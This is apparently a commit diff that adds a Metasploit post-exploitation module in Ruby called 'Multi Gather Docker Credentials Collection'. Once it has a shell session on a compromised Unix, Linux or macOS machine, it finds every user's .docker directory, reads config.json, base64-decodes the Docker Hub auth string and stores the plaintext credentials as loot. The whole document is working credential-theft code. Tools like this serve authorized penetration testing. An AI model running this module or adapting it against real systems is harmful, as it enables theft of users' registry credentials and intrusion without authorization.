|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'json' |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Post |
| 9 | + include Msf::Post::File |
| 10 | + include Msf::Post::Unix |
| 11 | + |
| 12 | + def initialize(info={}) |
| 13 | + super( update_info(info, |
| 14 | + 'Name' => 'Multi Gather Docker Credentials Collection', |
| 15 | + 'Description' => %q{ |
| 16 | + This module will collect the contents of all users' .docker directories on the targeted |
| 17 | + machine. If the user has already push to docker hub, chances are that the password was |
| 18 | + saved in base64 (default behavior). |
| 19 | + }, |
| 20 | + 'License' => MSF_LICENSE, |
| 21 | + 'Author' => ['Flibustier'], |
| 22 | + 'Platform' => %w{ bsd linux osx unix }, |
| 23 | + 'SessionTypes' => ['shell'] |
| 24 | + )) |
| 25 | + end |
| 26 | + |
| 27 | + # This module is largely based on gpg_creds.rb. |
| 28 | + |
| 29 | + def run |
| 30 | + print_status("Finding .docker directories") |
| 31 | + paths = enum_user_directories.map {|d| d + "/.docker"} |
| 32 | + # Array#select! is only in 1.9 |
| 33 | + paths = paths.select { |d| directory?(d) } |
| 34 | + |
| 35 | + if paths.nil? or paths.empty? |
| 36 | + print_error("No users found with a .docker directory") |
| 37 | + return |
| 38 | + end |
| 39 | + |
| 40 | + download_loot(paths) |
| 41 | + end |
| 42 | + |
| 43 | + def download_loot(paths) |
| 44 | + print_status("Looting #{paths.count} directories") |
| 45 | + paths.each do |path| |
| 46 | + path.chomp! |
| 47 | + file = "config.json" |
| 48 | + target = "#{path}/#{file}" |
| 49 | + |
| 50 | + if file?(target) |
| 51 | + print_status("Downloading #{target} -> #{file}") |
| 52 | + extract(target) |
| 53 | + end |
| 54 | + end |
| 55 | + end |
| 56 | + |
| 57 | + def extract(target) |
| 58 | + file = read_file(target) |
| 59 | + parsed = JSON.parse(file) |
| 60 | + creds = parsed["auths"]["https://index.docker.io/v1/"]["auth"] |
| 61 | + if creds.length > 0 |
| 62 | + plain = Rex::Text.decode_base64(creds) |
| 63 | + print_good("Found #{plain}") |
| 64 | + loot_path = store_loot("docker.credentials", "text/plain", session, plain, |
| 65 | + "config.json", "Docker credentials from #{target}") |
| 66 | + print_good("Saved credentials to #{loot_path}") |
| 67 | + else |
| 68 | + print_status("No credentials found in config file") |
| 69 | + end |
| 70 | + end |
| 71 | +end |
0 commit comments